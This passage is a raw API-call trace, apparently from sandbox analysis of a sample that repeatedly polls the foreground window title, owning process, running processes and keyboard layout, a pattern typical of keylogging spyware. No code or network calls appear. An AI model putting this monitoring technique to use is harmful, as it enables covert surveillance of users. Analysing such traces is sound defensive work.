GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.184] GetForegroundWindow () returned 0x101a2 [0223.184] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.247] GetForegroundWindow () returned 0x100f6 [0223.247] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0223.247] EnumProcesses (in: lpidProcess=0x24589b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24589b0, lpcbNeeded=0x4f8f87c) returned 1 [0223.247] GetLastError () returned 0x0 [0223.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0223.251] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0223.251] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0223.316] GetForegroundWindow () returned 0x101a2 [0223.316] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0223.316] EnumProcesses (in: lpidProcess=0x2469dac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2469dac, lpcbNeeded=0x4f8f87c) returned 1 [0223.316] GetLastError () returned 0x0 [0223.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0223.320] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0223.320] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.371] GetForegroundWindow () returned 0x101a2 [0223.371] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.434] GetForegroundWindow () returned 0x101a2 [0223.434] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.498] GetForegroundWindow () returned 0x101a2 [0223.498] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.559] GetForegroundWindow () returned 0x100f6 [0223.559] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0223.559] EnumProcesses (in: lpidProcess=0x247ba10, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247ba10, lpcbNeeded=0x4f8f87c) returned 1 [0223.559] GetLastError () returned 0x0 [0223.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0223.564] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0223.564] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0223.623] GetForegroundWindow () returned 0x101a2 [0223.624] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0223.624] EnumProcesses (in: lpidProcess=0x248cec8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248cec8, lpcbNeeded=0x4f8f87c) returned 1 [0223.624] GetLastError () returned 0x0 [0223.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0223.627] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0223.627] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.684] GetForegroundWindow () returned 0x101a2 [0223.684] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.746] GetForegroundWindow () returned 0x101a2 [0223.746] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.809] GetForegroundWindow () returned 0x101a2 [0223.809] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.871] GetForegroundWindow () returned 0x100f6 [0223.871] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0223.871] EnumProcesses (in: lpidProcess=0x249eb88, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249eb88, lpcbNeeded=0x4f8f87c) returned 1 [0223.875] GetLastError () returned 0x0 [0223.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0223.881] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0223.882] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0223.933] GetForegroundWindow () returned 0x101a2 [0223.933] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0223.933] EnumProcesses (in: lpidProcess=0x24b0040, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b0040, lpcbNeeded=0x4f8f87c) returned 1 [0223.934] GetLastError () returned 0x0 [0223.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0223.938] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0223.938] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0223.996] GetForegroundWindow () returned 0x101a2 [0223.996] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.058] GetForegroundWindow () returned 0x101a2 [0224.058] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.120] GetForegroundWindow () returned 0x101a2 [0224.120] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.183] GetForegroundWindow () returned 0x100f6 [0224.183] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0224.183] EnumProcesses (in: lpidProcess=0x24c1d00, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c1d00, lpcbNeeded=0x4f8f87c) returned 1 [0224.183] GetLastError () returned 0x0 [0224.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0224.188] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0224.188] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0224.245] GetForegroundWindow () returned 0x101a2 [0224.245] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0224.245] EnumProcesses (in: lpidProcess=0x24d31b8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d31b8, lpcbNeeded=0x4f8f87c) returned 1 [0224.246] GetLastError () returned 0x0 [0224.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0224.250] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0224.250] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.308] GetForegroundWindow () returned 0x101a2 [0224.308] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.370] GetForegroundWindow () returned 0x101a2 [0224.370] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.433] GetForegroundWindow () returned 0x101a2 [0224.433] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.495] GetForegroundWindow () returned 0x100f6 [0224.495] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0224.495] EnumProcesses (in: lpidProcess=0x24e4ecc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e4ecc, lpcbNeeded=0x4f8f87c) returned 1 [0224.495] GetLastError () returned 0x0 [0224.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0224.499] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0224.500] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0224.557] GetForegroundWindow () returned 0x101a2 [0224.557] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0224.557] EnumProcesses (in: lpidProcess=0x24f6384, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f6384, lpcbNeeded=0x4f8f87c) returned 1 [0224.558] GetLastError () returned 0x0 [0224.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0224.562] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0224.562] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.619] GetForegroundWindow () returned 0x101a2 [0224.620] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.682] GetForegroundWindow () returned 0x101a2 [0224.682] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.745] GetForegroundWindow () returned 0x101a2 [0224.745] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.807] GetForegroundWindow () returned 0x100f6 [0224.807] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0224.807] EnumProcesses (in: lpidProcess=0x2508044, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2508044, lpcbNeeded=0x4f8f87c) returned 1 [0224.807] GetLastError () returned 0x0 [0224.820] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0224.825] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0224.825] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0224.885] GetForegroundWindow () returned 0x101a2 [0224.885] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0224.885] EnumProcesses (in: lpidProcess=0x2384134, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384134, lpcbNeeded=0x4f8f87c) returned 1 [0224.885] GetLastError () returned 0x0 [0224.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0224.889] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0224.889] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0224.947] GetForegroundWindow () returned 0x101a2 [0224.947] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.009] GetForegroundWindow () returned 0x101a2 [0225.009] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.072] GetForegroundWindow () returned 0x101a2 [0225.072] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.134] GetForegroundWindow () returned 0x100f6 [0225.134] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0225.134] EnumProcesses (in: lpidProcess=0x2395df4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2395df4, lpcbNeeded=0x4f8f87c) returned 1 [0225.135] GetLastError () returned 0x0 [0225.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0225.138] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0225.138] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0225.199] GetForegroundWindow () returned 0x101a2 [0225.199] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0225.199] EnumProcesses (in: lpidProcess=0x23a72ac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a72ac, lpcbNeeded=0x4f8f87c) returned 1 [0225.199] GetLastError () returned 0x0 [0225.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0225.204] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0225.204] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.259] GetForegroundWindow () returned 0x101a2 [0225.259] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.322] GetForegroundWindow () returned 0x101a2 [0225.322] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.384] GetForegroundWindow () returned 0x101a2 [0225.384] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.446] GetForegroundWindow () returned 0x100f6 [0225.446] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0225.446] EnumProcesses (in: lpidProcess=0x23b8fc0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b8fc0, lpcbNeeded=0x4f8f87c) returned 1 [0225.447] GetLastError () returned 0x0 [0225.448] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0225.451] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0225.451] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0225.509] GetForegroundWindow () returned 0x101a2 [0225.509] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0225.509] EnumProcesses (in: lpidProcess=0x23ca478, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ca478, lpcbNeeded=0x4f8f87c) returned 1 [0225.509] GetLastError () returned 0x0 [0225.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0225.514] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0225.514] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.571] GetForegroundWindow () returned 0x101a2 [0225.571] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.633] GetForegroundWindow () returned 0x101a2 [0225.634] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.696] GetForegroundWindow () returned 0x101a2 [0225.696] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.758] GetForegroundWindow () returned 0x100f6 [0225.758] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0225.758] EnumProcesses (in: lpidProcess=0x23dc138, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dc138, lpcbNeeded=0x4f8f87c) returned 1 [0225.759] GetLastError () returned 0x0 [0225.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0225.763] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0225.763] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0225.822] GetForegroundWindow () returned 0x101a2 [0225.823] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0225.823] EnumProcesses (in: lpidProcess=0x23ed5f0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ed5f0, lpcbNeeded=0x4f8f87c) returned 1 [0225.823] GetLastError () returned 0x0 [0225.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0225.829] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0225.829] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.884] GetForegroundWindow () returned 0x101a2 [0225.884] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0225.946] GetForegroundWindow () returned 0x101a2 [0225.946] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.009] GetForegroundWindow () returned 0x101a2 [0226.009] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.070] GetForegroundWindow () returned 0x100f6 [0226.070] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0226.070] EnumProcesses (in: lpidProcess=0x23ff2b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ff2b0, lpcbNeeded=0x4f8f87c) returned 1 [0226.071] GetLastError () returned 0x0 [0226.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0226.075] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0226.075] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0226.133] GetForegroundWindow () returned 0x101a2 [0226.133] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0226.133] EnumProcesses (in: lpidProcess=0x2410768, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2410768, lpcbNeeded=0x4f8f87c) returned 1 [0226.133] GetLastError () returned 0x0 [0226.134] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0226.138] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0226.138] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.195] GetForegroundWindow () returned 0x101a2 [0226.195] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.257] GetForegroundWindow () returned 0x101a2 [0226.258] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.321] GetForegroundWindow () returned 0x101a2 [0226.321] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.382] GetForegroundWindow () returned 0x100f6 [0226.382] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0226.382] EnumProcesses (in: lpidProcess=0x2422428, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2422428, lpcbNeeded=0x4f8f87c) returned 1 [0226.383] GetLastError () returned 0x0 [0226.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0226.386] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0226.386] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0226.445] GetForegroundWindow () returned 0x101a2 [0226.445] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0226.445] EnumProcesses (in: lpidProcess=0x2433934, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2433934, lpcbNeeded=0x4f8f87c) returned 1 [0226.446] GetLastError () returned 0x0 [0226.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0 [0226.450] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0226.450] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.507] GetForegroundWindow () returned 0x101a2 [0226.507] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.569] GetForegroundWindow () returned 0x101a2 [0226.570] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.632] GetForegroundWindow () returned 0x101a2 [0226.632] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.698] GetForegroundWindow () returned 0x100f6 [0226.698] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0226.698] EnumProcesses (in: lpidProcess=0x24455f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24455f4, lpcbNeeded=0x4f8f87c) returned 1 [0226.699] GetLastError () returned 0x0 [0226.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0226.703] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0226.703] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0226.757] GetForegroundWindow () returned 0x101a2 [0226.757] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0226.757] EnumProcesses (in: lpidProcess=0x2456a40, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2456a40, lpcbNeeded=0x4f8f87c) returned 1 [0226.757] GetLastError () returned 0x0 [0226.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0226.762] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0226.762] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.819] GetForegroundWindow () returned 0x101a2 [0226.820] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.881] GetForegroundWindow () returned 0x101a2 [0226.881] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0226.944] GetForegroundWindow () returned 0x101a2 [0226.944] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.520] GetForegroundWindow () returned 0x100f6 [0228.520] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0228.520] EnumProcesses (in: lpidProcess=0x2385128, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2385128, lpcbNeeded=0x4f8f87c) returned 1 [0228.520] GetLastError () returned 0x0 [0228.521] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0228.525] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0228.525] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0228.582] GetForegroundWindow () returned 0x101a2 [0228.582] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0228.582] EnumProcesses (in: lpidProcess=0x239681c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x239681c, lpcbNeeded=0x4f8f87c) returned 1 [0228.583] GetLastError () returned 0x0 [0228.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0228.588] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0228.588] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0228.644] GetForegroundWindow () returned 0x101a2 [0228.644] GetWindowTextW (in: hWnd=0x101a2, 